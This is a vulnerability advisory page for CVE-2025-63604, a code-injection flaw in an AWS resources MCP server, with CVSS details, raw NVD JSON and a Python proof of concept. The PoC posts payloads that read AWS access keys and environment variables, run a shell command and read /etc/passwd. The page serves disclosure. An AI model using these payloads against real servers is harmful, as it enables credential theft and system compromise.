Security Vulnerability Report
中文
CVE-2025-63604 CVSS 6.5 MEDIUM

CVE-2025-63604

Published: 2025-11-18 16:15:46
Last Modified: 2025-12-31 02:23:13

Description

A code injection vulnerability exists in baryhuang/mcp-server-aws-resources-python 0.1.0 that allows remote code execution through insufficient input validation in the execute_query method. The vulnerability stems from the exposure of dangerous Python built-in functions (__import__, getattr, hasattr) in the execution namespace and the direct use of exec() to execute user-supplied code. An attacker can craft malicious queries to execute arbitrary Python code, leading to AWS credential theft (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY), file system access, environment variable disclosure, and potential system compromise. The vulnerability allows attackers to bypass intended security controls and gain unauthorized access to sensitive AWS resources and credentials stored in the server's environment.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:baryhuang:aws_resources_mcp_server:0.1.0:*:*:*:*:*:*:* - VULNERABLE
baryhuang/mcp-server-aws-resources-python 0.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-63604 PoC - AWS Credentials Theft import requests import json target = "http://target-server:5000" # PoC 1: Read AWS credentials from environment variables payload_creds = { "query": "__import__('os').environ.get('AWS_ACCESS_KEY_ID')" } # PoC 2: Execute system command to list files payload_cmd = { "query": "__import__('os').system('ls -la /')" } # PoC 3: Read sensitive files payload_file = { "query": "open('/etc/passwd').read()" } # PoC 4: Get all environment variables payload_env = { "query": "__import__('os').environ" } def exploit(payload): try: response = requests.post(f"{target}/execute_query", json=payload, timeout=10) return response.json() except Exception as e: return {"error": str(e)} # Execute exploits print("[*] Stealing AWS credentials...") print(exploit(payload_creds)) print("\n[*] Reading /etc/passwd...") print(exploit(payload_file))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63604", "sourceIdentifier": "[email protected]", "published": "2025-11-18T16:15:46.060", "lastModified": "2025-12-31T02:23:12.717", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A code injection vulnerability exists in baryhuang/mcp-server-aws-resources-python 0.1.0 that allows remote code execution through insufficient input validation in the execute_query method. The vulnerability stems from the exposure of dangerous Python built-in functions (__import__, getattr, hasattr) in the execution namespace and the direct use of exec() to execute user-supplied code. An attacker can craft malicious queries to execute arbitrary Python code, leading to AWS credential theft (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY), file system access, environment variable disclosure, and potential system compromise. The vulnerability allows attackers to bypass intended security controls and gain unauthorized access to sensitive AWS resources and credentials stored in the server's environment."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:baryhuang:aws_resources_mcp_server:0.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "02CE48B3-B74F-4DFF-BE43-AC016B9DB9AD"}]}]}], "references": [{"url": "https://github.com/baryhuang/mcp-server-aws-resources-python/issues/8", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "Issue Tracking"]}]}}